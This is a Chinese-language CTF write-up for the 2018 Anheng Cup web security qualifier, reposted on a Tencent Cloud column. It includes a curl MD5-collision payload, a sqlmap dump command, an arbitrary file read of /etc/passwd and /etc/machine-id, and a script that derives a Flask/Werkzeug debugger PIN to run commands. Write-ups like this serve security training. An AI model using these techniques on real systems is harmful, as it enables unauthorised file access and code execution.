前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2018“安恒杯”Web安全测试大赛(秋季预选赛)

2018“安恒杯”Web安全测试大赛(秋季预选赛)

作者头像
安恒网络空间安全讲武堂
发布2018-12-06 11:48:04
1.4K0
发布2018-12-06 11:48:04
举报

看到一个能拿奖金的比赛忍不住花了3个小时打了一下

最后的排名

输入试试

F12找答案

game

简单的MD5

一键payload用第二个打第一个 sudo curl-v http://114.55.36.69:8004/ -H "Cookie: PHPSESSID=qph4pa3rcv5nmgolruu5usrhfk" --data "data1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&data2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"

传个flag试试

这个很简单

MD5

我先做这个的=。=

新闻搜索

抓包保存下来 sqlmap-r1.txt-D news--dump这道题sqlmap就能跑出来

新写的小站

注册登录进去之后 在picture地方有一个任意文件读取

传入cookie的地方

就可以读到文件了,将得到的base64解码一下

测试

这道题是先知上有文章 https://xz.aliyun.com/t/2553首先找到任意文件读取的地方可以发现图片的地方有问题

就可以任意文件读取了 分别读 /etc/machine-id/etc/passwd再写一个app的路径app.py一直不行 但是pyc就可以不知道为啥=。=

代码语言:javascript
复制
/etc/machine-id
3e608929fbd39b959f388bf468c9f0b1
02:42:c0:a8:2a:21

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
mysql:x:999:999::/home/mysql:
ctf:x:1000:1000::/home/ctf:/bin/bash

/usr/local/lib/python2.7/dist-packages/flask/app.pyc


import hashlib
from itertools import chain
probably_public_bits = [
    'ctf',# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485723343393',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '3e608929fbd39b959f388bf468c9f0b1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

os.popen('cat fff111aaggggg___hhh').read()
'flag{d93743011d3158db70150a4301018b2c}\n'
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-10-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 看到一个能拿奖金的比赛忍不住花了3个小时打了一下
    • 输入试试
      • game
        • 简单的MD5
          • 传个flag试试
            • MD5
              • 新闻搜索
                • 新写的小站
                  • 测试
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档